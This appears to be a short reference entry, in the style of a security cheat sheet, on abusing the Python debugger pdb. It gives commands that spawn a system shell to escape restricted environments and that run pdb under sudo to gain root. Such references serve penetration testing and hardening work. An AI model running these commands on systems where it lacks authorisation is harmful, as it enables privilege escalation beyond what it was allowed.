This allows to execute python code, other functions may apply.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
pdb $TF
cont

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
sudo pdb $TF
cont